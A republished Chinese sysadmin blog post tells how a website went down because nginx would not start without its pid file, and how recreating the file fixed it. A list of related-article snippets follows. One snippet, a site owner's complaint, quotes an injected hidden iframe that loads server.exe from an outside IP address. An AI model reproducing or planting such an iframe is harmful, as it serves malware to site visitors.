一个因pid文件丢失,nginx的进程起不来,网站页面无法访问的故事

news/2024/5/9 20:43:47/文章来源:https://blog.csdn.net/weixin_34356555/article/details/91658501

问题描述:

公司的一个网站首页突然打不开,使用域名访问,页面一片空白。使用IP+端口 访问,界面只能看到几个蓝色的标题,没有图片,排版混乱。

分析解决:

1、查看部署官网的nginx进程,进程已经没有了:
一个因pid文件丢失,nginx的进程起不来,网站页面无法访问的故事

2、使用systemctl start nginx启动,没有输出报错,但是查看进程依然没有起来。

3、查看/var/log/nginx下面的error.log,发现下面的报错(注意:报错日志里面前面几行报的/home/xx/下面的东西找不到,是代码里面的缺失,网站有三个板块点进去是没有内容的,非服务问题):
一个因pid文件丢失,nginx的进程起不来,网站页面无法访问的故事

4、查看/var/run/目录,下面已经没有了nginx目录,也没有nginx.pid文件。于是手动创建nginx目录,依然无效。

5、再手动创建nginx.pid文件,并且手动随便写了一个数字进去,再启动nginx,成功,页面访问正常:

[root@master-1 ~]# cd /usr/sbin/
[root@master-1 sbin]# ./nginx 
[root@master-1 sbin]# ps -ef|grep nginx
nginx     6204  6189  0 Mar09 pts/4    00:00:00 /bin/sh -c /bin/bash -x /opt/canal/bin/startup.sh
nginx     7296  6204  0 Mar09 pts/4    00:00:00 /bin/bash -x /opt/canal/bin/startup.sh
nginx     7400  7296  0 Mar09 pts/4    00:09:32 /usr/bin/java -server -Xms2048m -Xmx3072m -Xmn1024m -XX:SurvivorRatio=2 -Xss256k -XX:-UseAdaptiveSizePolicy -XX:MaxTenuringThreshold=15 -XX:+DisableExplicitGC -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:+UseFastAccessorMethods -XX:+UseCMSInitiatingOccupancyOnly -XX:+HeapDumpOnOutOfMemoryError -Djava.awt.headless=true -Djava.net.preferIPv4Stack=true -Dfile.encoding=UTF-8 -DappName=otter-canal -Dlogback.configurationFile=/opt/canal/bin/../conf/logback.xml -Dcanal.conf=/opt/canal/bin/../conf/canal.properties -classpath .:/opt/canal/bin/../conf:/opt/canal/bin/../lib/zookeeper-3.4.5.jar:/opt/canal/bin/../lib/zkclient-0.1.jar:/opt/canal/bin/../lib/spring-2.5.6.jar:/opt/canal/bin/../lib/slf4j-api-1.7.12.jar:/opt/canal/bin/../lib/protobuf-java-2.6.1.jar:/opt/canal/bin/../lib/oro-2.0.8.jar:/opt/canal/bin/../lib/netty-all-4.1.6.Final.jar:/opt/canal/bin/../lib/netty-3.2.5.Final.jar:/opt/canal/bin/../lib/logback-core-1.1.3.jar:/opt/canal/bin/../lib/logback-classic-1.1.3.jar:/opt/canal/bin/../lib/log4j-1.2.14.jar:/opt/canal/bin/../lib/jcl-over-slf4j-1.7.12.jar:/opt/canal/bin/../lib/guava-18.0.jar:/opt/canal/bin/../lib/fastjson-1.2.28.jar:/opt/canal/bin/../lib/commons-logging-1.1.1.jar:/opt/canal/bin/../lib/commons-lang-2.6.jar:/opt/canal/bin/../lib/commons-io-2.4.jar:/opt/canal/bin/../lib/commons-beanutils-1.8.2.jar:/opt/canal/bin/../lib/canal.store-1.0.24.jar:/opt/canal/bin/../lib/canal.sink-1.0.24.jar:/opt/canal/bin/../lib/canal.server-1.0.24.jar:/opt/canal/bin/../lib/canal.protocol-1.0.24.jar:/opt/canal/bin/../lib/canal.parse.driver-1.0.24.jar:/opt/canal/bin/../lib/canal.parse.dbsync-1.0.24.jar:/opt/canal/bin/../lib/canal.parse-1.0.24.jar:/opt/canal/bin/../lib/canal.meta-1.0.24.jar:/opt/canal/bin/../lib/canal.instance.spring-1.0.24.jar:/opt/canal/bin/../lib/canal.instance.manager-1.0.24.jar:/opt/canal/bin/../lib/canal.instance.core-1.0.24.jar:/opt/canal/bin/../lib/canal.filter-1.0.24.jar:/opt/canal/bin/../lib/canal.deployer-1.0.24.jar:/opt/canal/bin/../lib/canal.common-1.0.24.jar:/opt/canal/bin/../lib/aviator-2.2.1.jar: com.alibaba.otter.canal.deployer.CanalLauncher
root     26114     1  0 10:07 ?        00:00:00 nginx: master process ./nginx
nginx    26115 26114  0 10:07 ?        00:00:00 nginx: worker process
root     26164 19128  0 10:08 pts/2    00:00:00 grep --color=auto nginx

然后PID文件也正常了。

[root@master-1 sbin]# cat /var/run/nginx/nginx.pid 
26114
[root@master-1 sbin]# 

重新刷新网站首页,页面恢复正常。

转载于:https://blog.51cto.com/10950710/2309265

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_818315.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

网站至今已停超过24小时,郁闷中...

最早想用一卡通来付钱,忘了把证书带在身边,网上银行使用不了了退而求其次,申请支付卡,被银行的人问了一堆的问题,很多天长地久谁能记得那么清楚,失败。再求其次,用别人的卡付帐,谁知…

快速在Ubuntu安装PHP网站

快速安装使用的是tasksel,tasksel是Debian / Ubuntu的工具,安装多个相关软件包作为一个协调的“任务”到你的系统。这个lamp-server^跟taskel这个程序有关。下面是详细步骤: 一、升级当前Linux环境 这里我采用UBUNTU发行版本,需要…

云服务器 ECS 搭建WordPress网站:购买域名

购买域名您可以给自己的网站设定一个单独的域名。您的用户可以使用易记的域名访问您的网站,而不需要使用复杂的 IP 地址。 建议通过 阿里云购买域名。 操作步骤 1.在购买域名页面,搜索想用的域名,如尚未被注册,则可以购买。选择要…

python 第一个网站应用

Hello,第一个网页分析 打开文本编辑器。这里要说一下啦,理论上讲,所有的文本编辑器都可以做为编写程序的工具。前面已经提到的那个python IDE,是一个很好的工具,再有别的也行,比如我就用vim(好像我的计算机…

wallhaven壁纸网站改版后爬虫小例子

wallhaven壁纸网站改版后爬虫 新手上路,老司机绕路 最近学习python,尝试写一点小爬虫 这是改版后的wallhaven壁纸网站,爬取热门榜单。首先对网站进行分析 按F12启动开发者工具,对网页进行分析。 现在页面上的图片都是缩略图没有爬…

ASP.NET WEB网站简单入门(简单Demo -发布)

简单分几个阶段 一、简单代码实现 1.新建工程 2.打开设计器(查看设计器),托出一个label ,写上Hello 3.点击调试,即可看到网页效果 4.重新生成后,发布到指定路径下 5.弹出网站发布设置面板,点击&l…

爬虫7----动态网站抓取

一、Ajax和动态HTML 二、Selenium 使用教程 一、实例1 二、元素的选取 2.1实例讲解 三、页面操作 1.页面交互和表单填充 代码如下: 2.元素拖拽 3.切换窗口 3.如何切换frame selenium提供了**switch_to.frame()**方法来切换frame 3.1、从frame中切回主文档…

亿恩云主机,网站所有页面头部开始被插入iframe,提交问题给亿恩技术,回应的是沉默...

用的亿恩的云主机&#xff0c;今天发现所有页面头部最开始被插入了如下一段代码&#xff1a; <iframe src http://122.224.95.100:6655/server.exe width0 height0></iframe> 后经检查&#xff0c;服务器上的文件并没有被篡改&#xff0c;补丁也打了&#xff0c;也…

五款开源免费的建站系统推荐

最近研究了下开源的建站系统&#xff0c;推荐5款国内的吧&#xff0c;都有免费版本&#xff0c;有需要可以去试试。 ECTouch ECTouch是一款开源免费的移动商城网店系统。能够帮助企业和个人快速构建手机移动商城并减少二次开发带来的成本。 ECTouch采用PHPMYSQL方式运行&…

学英语好网站

转载于:https://www.cnblogs.com/DeeLMind/p/7627276.html

[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护

这是作者的系列网络安全自学教程&#xff0c;主要是关于网安工具和实践操作的在线笔记&#xff0c;特分享出来与博友共勉&#xff0c;希望您们喜欢&#xff0c;一起进步。前文分享了Python网络攻防基础知识、Python多线程、C段扫描和数据库编程&#xff0c;本文将分享Python攻防…

简单用户登录网站(HttpServlet1.1版本)

案例说明:用户在登录界面输入非空信息,在欢迎页面显示用户信息 Login1.java 用户登录界面 对Login1.java进行Servlet部署 LoginCl1.java 用户业务逻辑处理,采用sendRedirect()方法 对LoginCl1.java进行Servlet部署 Wel1.java 欢迎页面(显示用户信息) 对Wel1.java进行Servlet部署…

网站流量日志数据分析系统

1&#xff0e; 点击流数据模型1.1&#xff0e; 点击流概念点击流&#xff08;Click Stream&#xff09;是指用户在网站上持续访问的轨迹。这个概念更注重用户浏览网站的整个流程。用户对网站的每次访问包含了一系列的点击动作行为&#xff0c;这些点击行为数据就构成了点击流数…

渗透之路 信息收集【第四篇】网站四大套件识别

国内网站架构情况 特性1&#xff1a; 开源cms搭建(直接找cms漏洞) 非cms搭建(即需要代码开发)特性2&#xff1a; 阿里云&#xff0c;腾讯云等(自带防护&#xff0c;难度最大) 小中型IDC空间商 企业内部服务器特性3&#xff1a; 单一站点 多域名站点 多目录站点(多程序站点) 混合…

2017年网站安全狗绕过WebShell上传拦截的新姿势

本文来源&#xff1a;https://www.webshell.ren/post-308.html 今天有一位朋友发一个上传点给我 我一看是南方cms 有双文件上传漏洞 本来可以秒的 但是看到了 安全狗 从图片可以看到http返回信息 有安全狗拦截 哪怎么办呢 我也是搞了以前私藏的姿势 后来发现都不行 发现行…

跟着百度学PHP[14]-COOKIE的应用/网站登陆案例完整案例

先在数据库当中创建以下数据&#xff1a; mysql> create table user(-> id int not null auto_increment,-> username varchar(50) not null default ,-> password char(32) not null default ,-> email varchar(80) not null default ,-> allow_1 smallint …

逻辑漏洞-客户端验证的邮箱-Web渗透实例之中国教育部青少年普法网站逻辑漏洞...

转载自&#xff1a;http://www.zmnhssn.com/?post61 漏洞地址&#xff1a;https://user.qspfw.com 用户登陆界面 具体漏洞地址: 用户密码找回界面&#xff1a;https://user.qspfw.com/page/user/findpwd/forget_pwd.do 这里可以确认网站有没有这个用户&#xff0c;这个用户…

python局域网访问主机网站_管家婆辉煌版如何实现在局域网如何访问

管家婆辉煌版本我们很多客户都在使用&#xff0c;是一款常用的进销存软件&#xff0c;那么局域网如何实现访问呢&#xff1f;在服务器上安装好管家婆服务器端后&#xff0c;然后打开套接字和管家婆辉煌版服务器端&#xff0c;这两个程序建议设置为开机启动&#xff0c;如图就是…

万能通用的各大网站(全民简历、简历本等) 简历模板 -- 免费下载方法

文章目录前言一、开始步骤1.下载破解版福昕PDF编辑器2.下载wkhtmltopdf3.选择模板并填好信息4.保存网页文件5.本地搭建一个简易web服务器6.使用福昕PDF去除多余的对象二、最终效果总结前言 现在很多人需要制作一份自己的简历&#xff0c;为了格式规范和方便&#xff0c;于是乎…

修改ip地址软件就打不开_导致网站打不开的原因有哪些

我们在网上查询资料时经常会遇到网站打不开&#xff0c;浏览器打不开的情况&#xff0c;这是上网时候广大网友经常碰见的问题&#xff0c;那么今天&#xff0c;天企网络将针对网页打不开这一问题问题做一做综合的分析&#xff0c;让您对网站打不开的原因有哪些有一个全面的了解…